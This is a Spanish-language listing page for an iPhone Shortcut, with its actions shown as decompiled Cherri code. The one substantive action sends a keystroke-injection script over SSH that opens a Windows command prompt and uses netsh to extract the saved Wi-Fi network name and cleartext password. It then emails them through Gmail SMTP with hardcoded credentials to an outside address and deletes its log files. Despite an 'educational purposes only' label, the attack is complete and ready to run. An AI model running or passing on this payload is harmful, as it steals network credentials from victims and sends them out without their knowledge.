Escanea con tu iPhone para instalar
FOR EDUCATIONAL PURPOSES ONLY
Novedades
Versión 1.0
First release
Qué hace
2 acciones-
Show Alert
-
Run Script Over SSH
Ver como código
Todas las acciones de este atajo escritas en Cherri, un lenguaje de programación para Atajos. Ideal para aprender cómo funciona.
#include 'actions/network'
#define color red
confirm("Do you want to continue? You might want to reconsider! (Not responsible for any damage that occurs to your or others property, you herby agree that you are responsible for all damages by using this shortcut). Copyright qwertyuiop 2022\n")
runSSHScript("DEFAULT_DELAY 10 \nREM delays 100ms between each subsequent command sequence\n\nDELAY 2000\nWINDOWS d\nREM --> Open cmd\nWINDOWS r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 1000\nREM --> Change directory (you can change this to something else to make less visible)\nSTRING cd \"%USERPROFILE%\Desktop\"\nENTER\nREM --> Get SSID\nSTRING for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"B\"') do set SSID=%A\nENTER\nREM --> Get network type\nSTRING netsh wlan show profiles %SSID% | findstr \"Network type\" | findstr /v \"broadcast\" | findstr /v \"Radio\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" Temp.txt') do set NETTYPE=%A\nENTER\nREM --> Get authentication\nSTRING netsh wlan show profiles %SSID% | findstr \"Authentication\">Temp.txt\nENTER\nSTRING for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" Temp.txt') do set AUTH=%A\nENTER\nREM --> Get key\nSTRING netsh wlan show profiles %SSID% key=clear | findstr \"Key Content\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" Temp.txt') do set KEY=%A\nENTER\nREM --> Delete Temp.txt\nSTRING del Temp.txt\nENTER\nREM --> Create Log.txt\nSTRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt\nENTER\nREM --> Mail Log.txt\nSTRING powershell\nENTER\nSTRING $SMTPServer = 'smtp.gmail.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSsl = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'hudson17');\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = '[email protected]'\nENTER\nSTRING $ReportEmail.To.Add('[email protected]')\nENTER\nSTRING $ReportEmail.Subject = 'WiFi'\nENTER\nSTRING $ReportEmail.Body = 'The log is attached!' \nENTER\nSTRING $ReportEmail.Attachments.Add('Log.txt')\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nSTRING exit\nENTER\nREM --> Delete Log.txt and exit\nSTRING del Log.txt & exit\nENTER", nil, Ask, "", Ask, "", Ask)
Abrir en Cherri Playground
Descompilado con cherri 2.3.0 (GPL-2.0). Puede que necesite pequeños ajustes antes de compilarse.
Valoraciones y reseñas
Escribe una reseña–
de 5
★★★★★
★★★★
★★★
★★
★
0 ratings
Aún no hay reseñas. ¡Sé el primero en compartir tu opinión!
Publicidad
Más de qwertyuio
También te puede gustar
Publicidad